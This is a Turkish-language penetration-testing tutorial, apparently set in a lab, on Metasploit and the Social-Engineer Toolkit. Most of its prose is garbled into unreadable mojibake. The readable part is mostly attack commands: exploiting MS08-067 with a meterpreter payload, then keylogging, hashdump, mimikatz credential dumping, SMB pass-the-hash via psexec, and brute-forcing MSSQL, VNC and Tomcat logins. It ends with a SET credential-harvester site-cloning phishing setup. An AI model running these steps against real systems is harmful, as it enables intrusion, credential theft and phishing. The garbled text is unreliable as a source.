search Υ       !ǊŀƳŀ ƪƻƳǳǘǳŘǳǊΦ !ƪƭƤƴƤȊŀ ƎŜƭŜƴ ƘŜǊ ǘǸǊƭǸ ƳƻŘǸƭΣ ǘŜƪƴƻƭƻƧƛΣ ǎŜǊǾƛǎ ƛǎƳƛƴƛ ŀǊŀǘǘƤǊŀōƛƭƛǊǎƛƴƛȊΦ 

mǊƴŜƪΥ ǎŜŀǊŎƘ Řƴǎ  І5b{ ƛƭŜ ƛƭƎƛƭƛ ǘǸƳ ŜȄǇƭƻƛǘΣǇŀȅƭƻŀŘΣ ŀǳȄƛƭŀǊȅ Ǿǎ ƘŜǇǎƛƴƛ ƎŜǘƛǊƛǊΦ 

use        Υ      aƻŘǸƭǸ ǎŜœŜǊΦ 

mǊƴŜƪ Υ ǳǎŜ auxiliary/gather/enum_dns  

Show options : aƻŘǸƭ ǎŜœŜƴŜƪƭŜǊƛƴƛ ƎŜǘƛǊƛǊΦ 



 

Set:  tŀȅƭƻŀŘ ǎŜœƛƳƛƴŘŜ ŘŜƐŜǊ ŀǘŀƳŀǎƤƴƤ ȅŀǇŀǊΦ YǸœǸƪκōǸȅǸƪ ƘŀǊŦ ŘǳȅŀǊƭƤŘƤǊΦ 

mǊƴŜƪΥ set DOMAIN facebook.com 

unset : !ǘŀƴŀƴ ŘŜƐŜǊƛ ƪŀƭŘƤǊƤǊΦ 

check :Se­ilen zayēflēĵēn sistemde var olduĵunu kontrol eder. 

Ķnfo:  mod¿l hakkēnda bilgi verir 

Run /exploit : aƻŘǸƭǸƴ œŀƭƤǒƳŀǎƤƴƤ ǎŀƐƭŀǊΦ 

Sessions:    !ƪǘƛŦ ƻǘǳǊǳƳƭŀǊƤ ƎǀǎǘŜǊƛǊ ǾŜ ƻǘǳǊǳƳ ōƛƭƎƛǎƛ ǾŜǊƛǊΦ 

route  :   hǘǳǊǳƳ ǘǊŀŦƛƐƛƴƛƴ ȅǀƴƭŜƴŘƛǊƛƭƳŜǎƛƴƛ ǎŀƐƭŀǊΦ 

Back:   Mevcuǘ ǎŜœŜƴŜƪǘŜƴ ōƛǊ ǀƴŎŜƪƛ ƳŜƴǸȅŜ ŘǀƴŜǊΦ 

Exit  :    YƻƴǎƻƭŘŀƴ œƤƪƤǒƤ ǎŀƐƭŀǊΦ 

YǳƭƭŀƴƤƳƤΥ 

5ŀƘŀ ǀƴŎŜ ǘƻǇƭŀƳƤǒ ƻƭŘǳƐǳƳǳȊ ōƛƭƎƛƭŜǊ œŜǊœŜǾŜǎƛƴŘŜ ƘŜŘŜŦ ŘƻƳŀƛƴ ƘŀƪƪƤƴŘŀ ƴŜ ǘǸǊ ȊŀŦƛȅŜǘƭŜǊ ƻƭŘǳƐǳƴǳ 

ǘŜǎǇƛǘ ŜǘǘƛƪΦ  ƛƳŘƛ ŜƭƛƳƛȊŘŜ ōǳƭǳƴŀƴ ȊŀŀŦƛȅŜǘƭŜǊ ƛœƛƴ ƳŜǘŀǎǇƭƻƛǘ-framewƻǊƪ ŘŜ ŜȄǇƭƻƛǘ ƳƻŘǸƭǸ ǾŀǊ ƳƤ ȅƻƪ 

Ƴǳ ƻƴŀ ōŀƪŀŎŀƐƤȊΦ 5ŀƘŀ ǎƻƴǊŀ Řŀ ōǳ ŜȄǇƭƻƛǘƛƴ œŀƭƤǒƤǇ œŀƭƤǒƳŀŘƤƐƤƴƤ ƪƻƴǘǊƻƭ ŜŘŜŎŜƐƛȊΦ 

mǊƴŜƐƛƳƛȊ ǎƛǎǘŜƳ ŘŜ ōƛǊ ǿƛƴŘƻǿǎ ȄǇ ƳŀƪƛƴŀǎƤ ƻƭŘǳƐǳ ǾŜ ƴƳŀǇ ǾŜȅŀ ƴŜǎǎǳǎ ƛƭŜ ȅŀǇǘƤƐƤƳƤȊ ǘŀǊŀƳŀ 

ǎƻƴǊŀǎƤ a{лу-лст ȊŀŀŦƛȅŜǘƛ ƻƭŘǳƐǳƴǳ ǘŜǎǇƛǘ ŜǘǘƛƐƛƳƛȊƛ ǾŀǊǎŀȅŀƭƤƳΦ 

mƴŎŜƭƛƪƭŜ ōǳ ȊŀŀŦƛȅŜǘƛ ŀǊŀǘǘƤǊƤȅƻǊǳȊΦ ½ŀŀŦƛȅŜǘƛ ōǳƭŘǳƪǘŀƴ ǎƻƴǊŀ ǳǎŜ ƪƻƳǳǘǳȅƭŀ ƳƻŘǸƭǸ ǎŜœƛȅƻǊǳȊΦ {Ƙƻǿ 

ƻǇǘƛƻƴǎ ƪƻƳǳǘǳȅƭŀ ǎŜœŜƴŜƪƭŜǊƛ ƎǀǊǸƴǘǸƭǸȅƻǊǳȊΦ {Ŝǘ wIh{¢ ŘƛȅŜǊŜƪ ƘŜŘŜŦ LtΩƳƛȊƛ ŀȅŀǊƭƤȅƻǊǳȊΦ 

 



RHOST : Hedef sistemin IP adresi. 

LHOST : {ŀƭŘƤǊƤƴƤƴ ȅŀǇƤƭŘƤƐƤ ƳŀƪƛƴŀƴƤƴ Lt ŀŘǊŜǎƛΦ 

RPORT Υ ¦Ȋŀƪ ǎƛǎǘŜƳŜ ŜȄǇƭƻƛǘƛƴ ƎǀƴŘŜǊƛƭŜŎŜƐƛ ǇƻǊǘǳƴ ƴǳƳŀǊŀǎƤΦ 

LPORT Υ ¸ŀǇƤƭŀƴ ŜȄǇƭƻƛǘƛƴ ŎŜǾŀōƤƴƤƴ ōƛȊƛƳ Ƴŀƪƛƴŀȅŀ ƘŀƴƎƛ ǇƻǊǘǘŀƴ ƎŜƭŜŎŜƐƛΦ 

.ǳ ǘŀƴƤƳƭŀǊƤ ȅŀǇǘƤƪǘŀƴ ǾŜ ƘŜŘŜŦ LtΩȅƛ ǘŀƴƤƳƭŀŘƤƪǘŀƴ ǎƻƴǊŀ ǳȊŀƪǘŀƴ ƪƻŘ œŀƭƤǒǘƤǊƳŀ ȊŀŀŦƛȅŜǘƛ ƛœƛƴ 

ǇŀȅƭƻŀŘǳƳǳȊǳ ǎŜœŜƭƛƳΦ IŜŘŜŦ ǎƛǎǘŜƳƛƴ ǿƛƴŘƻǿǎ ƻƭŘǳƐǳƴǳ ōƛƭƛȅƻǊǳȊΦ .ǳ ȅǸȊŘŜƴ ǿƛƴŘƻǿǎ ōƛǊ ǇŀȅƭƻŀŘ 

ƪǳƭƭŀƴƳŀƳƤȊ ƎŜǊŜƪƛǊΦ ¸ǸƪƭŜȅŜŎŜƐƛƳƛȊ ǇŀȅƭƻŀŘǳƳǳȊ ƎŜƭƛǒƳƛǒ ōƛǊ Ǉŀȅƭoad olan ve meterpreter diye 

ŀŘƭŀƴŘƤǊƤƭŀƴ ǇŀȅƭƻŀŘ ƻƭƳŀǎƤƴƤ ƛǎǘƛȅƻǊǳȊΦ  

ǎŜǘ ǇŀȅƭƻŀŘκǿƛƴŘƻǿǎκƳŜǘŜǊǇǊŜǘŜǊ ŘŜƴ ǎƻƴǊŀ œƛŦǘ ǘŀōΩŀ ōŀǎǘƤƐƤƳƤȊŘŀ ŘƛƐŜǊ ǎŜœŜƴŜƪƭŜǊƛ ƎǀǊŜōƛƭƛȅƻǊǳȊΦ 

 

IŜŘŜŦ ǎƛǎǘŜƳŘŜ ƎǸǾŜƴƭƛƪ ŘǳǾŀǊƤ ǾŜȅŀ ōƛȊƛƳ ƪŀǊǒƤ ǘŀǊŀŦŀ ōŀƐƭŀƴǘƤ ƪǳǊƳŀƳƤȊƤ ŜƴƎŜƭƭŜȅŜƴ ƎǸǾŜƴƭƛƪ ǀƴƭŜƳƛ 

ǾŀǊ ƛǎŜ ǊŜǾŜǊǎŜψ ǎŜœŜƴŜƪƭŜǊƛƴƛΣ ŘƻƐǊǳŘŀƴ ōŀƐƭŀƴǘƤ ƪǳǊŀōƛƭƛȅƻǊ ƛǎŜƪ ōƛƴŘψ ǎŜœŜƴŜƪƭŜǊƛƴƛ ƪǳƭƭŀƴŀōƛƭƛǊƛȊΦ 

.ƛȊ ŀǊŀŘŀ Ŧǿ ƻƭƳŀŘƤƐƤƴƤ ōƛƭŘƛƐƛƳƛȊ ƛœƛƴ ōƛƴŘψǘŎǇ ǎŜœŜƴŜƐƛƴƛ ǎŜœƛȅƻǊǳȊΦ {Ƙƻǿ ƻǇǘƛƻƴǎ ƛƭŜ ǎƻƴ Ƙŀƭƛƴƛ ƪƻƴǘǊƻƭ 

ediyoruz. Run diyerek exploitΩT œŀƭƤǒǘƤǊƤȅƻǊǳȊ 

 

wǳƴ ŘŜŘƛƪǘŜƴ ǎƻƴǊŀ ȊŀŀŦƛȅŜǘƛ ŜȄǇƭƻƛǘ ŜŘŜōƛƭŘƛƐƛƳƛȊ ǾŜ ǇŀȅƭƻŀŘǳƳǳȊǳƴ œŀƭƭƤǒǘƤƐƤΣ ƳŜǘŜǊǇǊŜǘŜǊ 

ƻǘǳǊǳƳǳƳǳȊǳƴ ŀœƤƭŘƤƐƤƴƤ ƎǀǊŜōƛƭƛȅƻǊǳȊΦ {ȅǎƛƴŦƻ ƛƭŜ ƘŜŘŜŦ ōƛƭƎƛǎŀȅŀǊ ƘŀƪƪƤƴŘŀ ōƛƭƎƛƭŜǊƛ ƎǀǊŜōƛƭƛȅƻǊǳȊΦ 

 



!ǊǘƤƪ ƘŜŘŜŦ ǎƛǎǘŜƳŘŜ ƎŜƭƛǒƳƛǒ ōƛǊ ǇŀȅƭƻŀŘǳƳǳȊ ǾŀǊΦ .ǳ ǇŀȅƭƻŀŘǳƴ ƴŜƭŜǊ ȅŀǇŀōƛƭŘƛƐƛƴƛ ƘŜƭǇ ƪƻƳǳǘǳȅƭŀ 

ƎǀǊŜōƛƭƛǊƛȊΦ 

 

 

9ƴ œƻƪ ƪǳƭƭŀƴƤƭŀƴ ƪƻƳǳǘƭŀǊƤ ǘŀƴƤƳƭŀȅŀƭƤƳΦ 

5ƻǎȅŀ ǎƛǎǘŜƳƛ ƪƻƳǳǘƭŀǊƤ ƭƛƴǳȄ ƪƻƳǳǘƭŀǊƤ ƛƭŜ ŀȅƴƤΣ ŎŀǘΣŎŘΣ ƭǎΣ ƳƪŘƛǊΣǇǿŘΣǊƳŘƛǊΣŘƻǿƴƭƻŀŘ ǾŜ ǳǇƭƻŀŘ  ƎƛōƛΦ 

{ƛǎǘŜƳ ƪƻƳǳǘƭŀǊƤ ǾŜ ŀƐ ƪƻƳǳǘƭŀǊƤ Řŀ ǿƛƴŘƻǿǎ ƪƻƳǳǘƭŀǊƤ ƛƭŜ ŀȅƴƤΣ ǎȅǎƛƴŦƻΣ ǇǎΣ ƎŜǘǳƛŘΣǊŜōƻƻǘΣǎƘǳǘŘƻǿƴΣ 

kill, shell, ipconfig, route vs. 

Hashdump:  ƛŦǊŜ ǾŜǊƛǘŀōŀƴƤƴƤ ƎŜǘƛǊƛǊΦ 

getsystemΥ Ŝƴ ǀƴŜƳƭƛ ƪƻƳǳǘƭŀǊƤƴŘŀƴ ōƛǊƛŘƛǊΣƭƻŎŀƭ ǎȅǎǘŜƳ ƘŜǎŀōƤƴŀ ƎŜœŜǊ 

record_micΥ ƛƭŜ ƳƛƪǊƻŦƻƴǳ ŀœŀōƛƭƛǊǎƛƴƛȊΦ 

Screenshot: ƘŜŘŜŦ ōƛƭƎƛǎŀȅŀǊƤƴ ƻ ŀƴŘŀƪƛ ŜƪǊŀƴ ƎǀǊǸƴǘǸǎǸƴǸ ŀƭŀōƛƭƛǊǎƛƴƛȊΦ 



Keyscan_dump: klavye hareketlerini dump eder. 

aŜǘŜǊǇǊŜǘŜǊΩƛƴ ƎŜƭƛǒƳƛǒ ǀȊŜƭƭƛƪƭŜǊƛƴŘŜƴ ōƛǊƛ ŘŜ Ǉƻǎǘ ƳƻŘǸƭƭŜǊƛƴƛƴ ƻƭƳŀǎƤΦ hǘǳǊǳƳǳ ŀœǘƤƪǘŀƴ ǎƻƴǊŀ ƭƻŀŘ 

ƪƻƳǳǘǳȅƭŀ Ǉƻǎǘ ƳƻŘǸƭƭŜǊƛ ƪǳƭƭŀƴŀǊŀōƛƭƛǊǎƛƴƛȊΦ tƻǎǘ ƳƻŘǸƭƭŜǊƛ ƎǀǊƳŜƪ ƛœƛƴ  

ƳǎŦҔǳǎŜ ǇƻǎǘκǿƛƴŘƻǿǎκ œƛŦǘ ǘŀōΩŀ ōŀǎƳŀƴƤȊ ȅŜǘŜǊƭƛΦ  

.ǳ Ǉƻǎǘ ƳƻŘǸƭƭŜǊƛƴŘŜƴ ōƛǊ ƪŀœƤƴŀ ōŀƪŀƭƤƳ 

¢ǳǒ ƘŀǊŜƪŜǘƭŜǊƛƴƛ ƪŀȅŘŜŘŜōƛƭƛǊƛȊΦ 

meterpreter > run post/windows/capture/keylog_recorder 

!Ɛ Řŀ ŀǊǇ ǎŎŀƴ ȅŀǇŀōƛƭƛǊƛȊ 

meterpreter > run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24 

IŜŘŜŦ ƳŀƪƛƴŀƴƤƴ ǎŀƴŀƭ Ƴŀƪƛƴŀ ƻƭǳǇ ƻƭƳŀŘƤƐƤƴŀ ōŀƪŀōƛƭƛǊƛȊ 

meterpreter > run post/windows/gather/checkvm 

ƘŜŘŜŦ ƳŀƪƛƴŀŘŀ ǒƛŦǊŜƭŜǊƛ ǘƻǇƭŀȅŀōƛƭƛǊƛȊ 

meterpreter > run post/windows/gather/credential_collector 

.ŀǒƪŀ ȅŜǘƪƛƭƛ ōƛǊ ǇǊƻǎŜǎŜ ŀǘƭŀȅŀōƛƭƛǊƛȊ 

meterpreter > run post/windows/manage/migrate 

IŜŘŜŦ ƳŀƪƛƴŀŘŀ ƪǳǊǳƭǳ ǳȅƎǳƭŀƳŀƭŀǊƤ ƭƛǎǘŜƭŜȅŜōƛƭƛǊƛȊ 

meterpreter > run post/windows/gather/enum_applications 

IŜŘŜŦ ƳŀƪƛƴŀŘŀ ƻǘǳǊǳƳ ŀœƳƤǒ ƪƛǒƛƭŜǊƛ ƭƛǎǘeleyebiliriz 

meterpreter > run post/windows/gather/enum_logged_on_users 

tŀȅƭŀǒƤƳƭŀǊƤ ƎǀǊŜōƛƭƛǊƛȊ 

meterpreter > run post/windows/gather/enum_shares 

{bat ǎŜǊǾƛǎ ƪƻƴŦƛƎǸǊŀǎȅƻƴƭŀǊƤƴƤ œŜƪŜōƛƭƛǊƛȊ 

meterpreter > run post/windows/gather/enum_snmp 

[ƻƪŀƭ ƪǳƭƭŀƴƤŎƤƭŀǊƤƴ ǒƛŦǊŜ ƘŀǎƘΩƭŜǊƛƴƛ œŜƪŜōƛƭƛǊƛȊ 

meterpreter > run post/windows/gather/hashdump 

ǾŜ ŘŀƘŀ ōƛǊœƻƪ Ǉƻǎǘ ƳƻŘǸƭǸƴǸ ƎǀǊǸƴǘǸƭŜȅƛǇ ƪǳƭƭŀƴŀōƛƭƛǊƛȊΦ 

.ƛȊƛƳ ōǳ ŀǒŀƳŀŘŀƪƛ ƛƭƪ ƘŜŘŜŦƛƳƛȊ ƳŜǘŜǊǇǊŜǘŜǊ ƻǘǳǊǳƳǳ ŀœǘƤƐƤƳƤȊ ƘŜŘŜŦ ƳŀƪƛƴŀŘŀƪƛ ǊŀƳ ŘŜ ǎŀƪƭƤ ƻƭŀƴ 

ǒƛŦǊŜƭŜǊƛ ŀƭƳŀƪΦ .ǳƴǳ ȅŀǇŀōƛƭƳŜƪ ƛœƛƴ Ǉƻǎǘ ƳƻŘǸƭƭŜǊƛƴŘŜƴ ƘŀǎƘŘǳƳǇΣ ƳƛƳƛƪŀǘȊ ǾŜȅŀ ƪƛǿƛ ƳƻŘǸƭǸƴǸ 

ƪǳƭƭŀƴŀōƛƭƛǊƛȊΦ Yƛǿƛ ƳƻŘǸƭǸ ŘŀƘŀ ƪǳƭƭŀƴƤǒƭƤ ƻƭŘǳƐǳ ƛœƛƴ ƪƛǿƛ ƳƻŘǸƭǸƴǸ ƪǳƭƭŀƴŀŎŀƐƤȊΦ 

[ƻŀŘ ƪƛǿƛ ŘŜȅƛǇ ƪƛǿƛ Ǉƻǎǘ ƳƻŘǸƭǸƴŜ ƎŜœƛǒ ȅŀǇƤȅƻǊǳȊΦ 



 

IŜƭǇ ŘŜȅƛǇ ƴŜ ǘǸǊ ƪƻƳǳǘƭŀǊ ƪǳƭƭŀƴŀōƛƭŜŎŜƐƛƳƛȊŜ ōŀƪŀƭƤƳΦ 

 

YƻƳǳǘƭŀǊŘŀƴ Ŝƴ œƻƪ ŘƛƪƪŀǘƛƳƛȊƛ œŜƪŜƴ ǾŜ ƪƻƭŀȅƤƳƤȊŀ ƎŜƭŜƴ ŜƭōŜǘǘŜ ƪƛ ŎǊŜŘǎψŀƭƭ ƻƭŀŎŀƪΦ 

/ǊŜŘǎψŀƭƭ ŘŜȅƛǇ ǘǸƳ ǒƛŦǊŜƭŜǊƛ ƎǀǊƳŜȅŜ œŀƭƤǒŀƭƤƳΦ 

 

{ȅǎǘŜƳ ȅŜǘƪƛǎƛ ƛƭŜ ǊŀƳ ŘŜ ǎŀƪƭŀƴŀƴ ǘǸƳ ǒƛŦǊŜƭŜǊƛ ƎŜǘƛǊŘƛΦ !œƤƪ ƻƭŀǊŀƪ ǎŀƪƭŀƴŀƴ ǿŘƛƎŜǎǘ ŎǊŜŘŜƴǘƛŀƭǎ 

ƛœŜǊƛǎƛƴŘŜ ƭŀōǳǎŜǊм ƪǳƭƭŀƴƤŎƤǎƤƴƤƴ ǒƛŦǊŜǎƛƴƛƴ ƭŀōǳǎŜǊм ƻƭŘǳƐǳƴǳ ƎǀǊŜōƛƭƛȅƻǊǳȊΦ 

aƛƳƛƪŀǘȊ ƳƻŘǸƭǸ ƛœƛƴ ǒǳ ƪƻƳǳǘƭŀǊƭŀ ŀȅƴƤ ōƛƭƎƛƭŜǊŜ ŜǊƛǒŜōƛƭƛǊǎƛƴƛȊΦ 

meterpreter > load mimikatz 

meterpreter > msv 

meterpreter > kerberos 



meterpreter > mimikatz_command -f samdump::hashes 

.ƛǊ ƪǳƭƭŀƴƤŎƤƴƤƴ ǒƛŦǊŜ ōƛƭƎƛǎƛƴƛ ŜƭŘŜ ŜǘǘƛƪǘŜƴ ǎƻƴǊŀ ŘŀƘŀ ŦŀȊƭŀ ȅŀȅƤƭƳŀ ȅƻƭƭŀǊƤƴŀ ōŀƪŀŎŀƐƤȊΦ 

mƴŎŜƭƛƪƭŜ ōǳ ƘŜǎŀǇƭŀ ŘƻƳŀƛƴ ŘŜ ōǳƭǳƴŀƴ ƘŀƴƎƛ ōƛƭƎƛǎŀȅŀǊƭŀǊŘŀ ƻǘǳǊǳƳ ŀœƤƭŀōƛƭŘƛƐƛƴƛ ǎƳōψƭƻƎƛƴ 

ƳƻŘǸƭǸƴǸ ƪǳƭƭŀƴŀŎŀƐƤȊΦ 5ŀƘŀ ǎƻƴǊŀ ǇǎŜȄŜŎ ƳƻŘǸƭǸ ƛƭŜ ŘŜ ǎƳōψƭƻƎƛƴ ŘŜ ǘŜǎǇƛǘ ŜǘǘƛƐƛƳƛȊ ƳŀƪƛƴŀƭŀǊŀ 

ƭŀōǳǎŜǊм ƪǳƭƭŀƴƤŎƤ ŀŘƤ ǾŜ ƭŀōǳǎŜǊм ǒƛŦǊŜǎƛ ƛƭŜ ƻǘǳǊǳƳ ŀœƤȅƻǊǳȊΦ 

.ǳ ƛǒƭŜƳƭŜǊƛ ǎƤǊŀȅƭŀΤ 

msf> search smb_login 

msf > use auxiliary/scanner/smb/smb_login 

msf auxiliary(smb_login) > show options 

msf auxiliary(smb_login) > set SMBDomain test 

msf auxiliary(smb_login) > set SMBUser labuser1 

msf auxiliary(smb_login) > set SMBPass labuser1 

msf auxiliary(smb_login) > set RHOSTS 10.10.10.0/24 

msf auxiliary(smb_login) > run  ƪƻƳǳǘǳȅƭŀ œŀƭƤǒǘƤǊƤȅƻǊǳȊΦ  

 

¸Ŝǒƛƭ ƛƭŜ ƎǀǎǘŜǊƛƭŜƴ ƛƪƛ Ƴŀƪƛƴŀ Řŀ ŀȅƴƤ ƪǳƭƭŀƴƤŎƤ ŀŘƤ ǾŜ ǒƛŦǊŜ ƛƭŜ ƻǘǳǊǳƳ ŀœƤƭŀōƛƭŘƛƐƛƴƛ ǘŜǎǇƛǘ ŜǘǘƛΦ 

 ƛƳŘƛ ōǳ ƳŀƪƛƴŀƭŀǊŘŀ ǇǎŜȄŜŎ ƪƻƳǳǘǳȅƭŀ ƻǘǳǊǳƳ ŀœƤǇΣ ƳŀƪƛƴŀƭŀǊŘŀ ŀœƤƪ ƻƭŀƴ ȅŜǘƪƛƭƛ ƘŜǎŀǇƭŀǊƤ ŜƭŘŜ 

ŜǘƳŜȅŜ œŀƭƤǒŀŎŀƐƤȊΦ 

msf > use exploit/windows/smb/psexec komutuȅƭŀ ƳƻŘǸƭǸ ǎŜœƛǇΣ ǎŜœŜƴŜƪƭŜǊŘŜ ƛƭƎƛƭƛ ŀƭŀƴƭŀǊƤ ŘƻƭŘǳǊǳǇ 

œŀƭƤǒǘƤǊƤȅƻǊǳȊΦ 

 ƛƳŘƛ ōƛǊŀȊ Řŀ ŘƛƐŜǊ ǎƛǎǘŜƳƭŜǊƭŜ ƛƭƎƛƭƛ ƳƻŘǸƭƭŜǊŜ ōŀƪŀƭƤƳΦ 

hǊǘŀƳŘŀ Ƴǎǎǉƭ ƛƴǎǘŀƴŎŜ ƻƭǳǇ ƻƭƳŀŘƤƐƤƴŀ ōŀƪŀƴ ƳƻŘǸƭ 

aƻŘǸƭΥ msf > use auxiliary/scanner/mssql/mssql_ping  

TǎǘŜƴŜƴ ŘŜƐŜǊΥ msf auxiliary(mssql_ping) > set RHOSTS 10.10.10.10.0/24 

±ŜǊƛǘŀōŀƴƤ ǎǳƴǳŎǳǎǳƴŀ ƪǳƭƭŀƴƤŎƤ ŀŘƤ ǾŜ ǇŀǊƻƭŀǎƤ ŘŜƴŜƳŜǎƛ ȅŀǇŀƴ ƳƻŘǸƭ 

msf > use auxiliary/scanner/mssql/mssql_login 



msf auxiliary(mssql_login) > set RHOSTS 10.10.10.14 

VNC servisine kaba kuvvet denemesi 

msf > use auxiliary/scanner/vnc/vnc_login 

msf auxiliary(vnc_login) > set RHOSTS 10.10.10.13 

ǘƻƳŎŀǘ ƪŀōŀ ƪǳǾǾŜǘ ǎŀƭŘƤǊƤǎƤ 

msf > use auxiliary/scanner/http/tomcat_mgr_login 

msf auxiliary(tomcat_mgr_login) > set RHOSTS 10.10.10.11 

msf auxiliary(tomcat_mgr_login) > set RPORT 8180 

a{{v[ ǎǳƴǳŎǳǎǳƴǳƴ ȅǀƴŜǘƛƳ ƘŜǎŀōƤ ƛƭŜ ƛǒƭŜǘƛƳ ǎƛǎǘŜƳƛƴƛ ŜƭŜ ƎŜœƛǊƳŜ 

msf > use exploit/windows/mssql/mssql_payload 

msf>show options ІōǳǊŀŘŀ ƛƪƛ ǇŀǊŀƳŜǘǊŜ ŘƻƭŘǳǊƳŀƳƤȊ ȅŜǘŜǊƭƛΣ wIh{¢{ ǾŜ tŀȅƭƻŀŘΦ 

 

msf exploit(mssql_payload) >set RHOSTS 10.10.10.14 

msf exploit(mssql_payload) > set PAYLOAD windows/exec 

msf exploit(mssqƭψǇŀȅƭƻŀŘύ Ҕ ǎŜǘ /a5 άƛǇŎƻƴŦƛƎ κŀƭƭέ 

¢ŜǎǇƛǘ ŜǘǘƛƐƛƴƛȊ ŜƴǾŀƴǘŜǊ ǾŜ ȊŀŀŦƛȅŜǘƭŜǊŜ ƎǀǊŜ ŜȄǇƭƻƛǘ ŀǊŀǘǘƤǊƤǇ ǎǀƳǸǊŜōƛƭƛǊǎƛƴƛȊΦ 

 

 

 

 



Setoolkit: 
.ǳ ŀǊŀœ ƛƴǎŀƴ ȊŀŀŦƛȅŜǘƛƴŘŜƴ ŦŀȅŘŀƭŀƴŀǊŀƪ ǎƻǎȅŀƭ ƳǸƘŜƴŘƛǎƭƛƪ ȅǀƴǘŜƳƛȅƭŜ ƘŜŘŜŦ ƪƛǒƛȅŜ ŀƛǘ ƪǳƭƭŀƴƤŎƤ ŀŘƤΣ 

ǒƛŦǊŜƭŜǊƛƴƛ ŀƭƳŀƪ ǾŜȅŀ ƘŜŘŜŦ ƪƛǒƛȅŜ ƎǀƴŘŜǊƛƭŜƴ ōŀƐƭŀƴǘƤȅƤ ǘƤƪƭŀƳŀǎƤ ǎƻƴǊŀǎƤΣ ƘŜŘŜŦ ōƛƭƎƛǎŀȅŀǊŘŀ ŀǊƪŀ ƪŀǇƤ 

ŀœƤƭŀǊŀƪΣ ǎŀƭŘƤǊƎŀƴƤƴ ōŀƐƭŀƴǘƤ ǎŀƐƭŀƳŀǎƤƴƤ ŀƳŀœƭŀƳŀƪǘŀŘƤǊΦ IŜŘŜŦ ōƛƭƎƛǎŀȅŀǊŘŀ ōǳƭǳƴŀƴ ŀƴǘƛǾƛǊǸǎǸ 

ŀǘƭŀǘǘƤƐƤƴƤȊ ǘŀƪŘƛǊŘŜ ōŀǒŀǊƤ ƻǊŀƴƤ ȅǸƪǎŜƪ ōƛǊ ŀŘƤƳŘƤǊΦ 

{Ŝǘƻƻƭƪƛǘ ƪƻƳǳǘǳ ƛƭŜ ŜǊƛǒƛƳ ǎŀƐƭŀȅŀōƛƭƛǊǎƛƴƛȊΦ 

 

.ǳ ŀǊŀœǘŀ Ŝƴ œƻƪ ƪǳƭƭŀƴŀŎŀƐƤƳƤȊ ƳŜƴǸ {ƻŎƛŀƭ-9ƴƎƛƴŜŜǊƛƴƎ !ǘǘŀŎƪǎ ƳŜƴǸǎǸΦ 1 diyerek ilerliyoruz. 

{ƻƴǊŀǎƤƴŘŀ мм ŦŀǊƪƭƤ ǎŜœŜƴŜƪ ōǳƭǳƴǳȅƻǊΦ9ƴ œƻƪ ƪǳƭƭŀƴƤƭŀƴ ²ŜōǎƛǘŜ !ǘǘŀŎƪ ±ŜŎǘƻǊǎ ǎŜœŜƴŜƐƛ ƛƭŜ 

ƛƭŜǊƭƛȅƻǊǳȊΦ н ȅŀȊƤȅƻǊǳȊ 

 



.ƛǊ ǎƻƴǊŀƪƛ ŜƪǊŀƴŘŀ ƪǳƭƭŀƴƤŎƤ ŀŘƤ ǾŜ ǒƛŦǊŜ ǘƻǇƭŀƳŀȅŀ ȅǀƴŜƭƛƪ 3) Credential Harvester Attack Method 

ǎŜœŜƴŜƐƛ ƛƭŜ ŘŜǾŀƳ ŜŘƛȅƻǊǳȊΦ {ƻƴǊŀǎƤƴŘŀ Řŀ ǿŜō ǎŀȅŦŀǎƤ ƪƭƻƴƭŀma  2) Site ClonerΩȅƤ ǎŜœƛȅƻǊǳȊΦ 

 

.ƛǊ ǎƻƴǊŀƪƛ ŀŘƤƳŘŀ ƻƭǳǒǘǳǊǳƭŀŎŀƪ ƪƭƻƴƭŀƴƳƤǒ ǎƛǘŜƴƛƴ ƘŀƴƎƛ TtΩŘŜ Ƙƻǎǘ ŜŘƛƭŜŎŜƐƛƴƛ ȅŀȊƤȅƻǊǳȊΦ .ǳǊŀŘŀ 

ǀƴŜƳƭƛ ƴƻƪǘŀΣ ǒŀȅŜǘ ǇǘŦ ƪǳǊǳƭǳ Ƴŀƪƛƴŀ ǎƛȊƛƴ Ƙƻǎǘ ƳŀƪƛƴŀƴƤȊ όǎŀƴŀƭ ŘŜƐƛƭύ ǾŜ ƪǳǊǳƳ ƛœŜǊƛǎƛƴŘŜ 

ȅŀǇƤȅƻǊǎŀƴƤȊ ƛœ ƛǇΩƴƛȊƛ ȅŀȊŀōƛƭƛǊǎƛƴƛȊΦ  ŀȅŜǘ ƪǳǊǳƳ ŘƤǒƤƴŘŀ ƛǎŜƴƛȊ ƎŜǊœŜƪ ƛǇΩƴƛȊƛ ȅŀȊƳŀƴƤȊ ƎŜǊŜƪƛǊΦ !ȅǊƤŎŀ 

ǎŀƴŀƭ Ƴŀƪƛƴŀ ƪǳƭƭŀƴƤȅƻǊǎŀƴƤȊΣ ǎŀƴŀƭ ƳŀƪƛƴŀƴƤȊƤƴ ƴŜǘǿƻǊƪ ŀŘŀǇǘǀǊǸƴǸ ōǊƛŘƎŜŘ ƻƭŀǊŀƪ ŘŜƐƛǒǘƛǊƳŜƳƛȊ 

ƎŜǊŜƪƛǊΦ b!¢ ȅŀǇƤŘŀ ōŀƐƭŀƴǘƤ ǎƛȊŜ ƎŜƭƳŜȅŜŎŜƪǘƛǊΦ 

 

 

 

 




















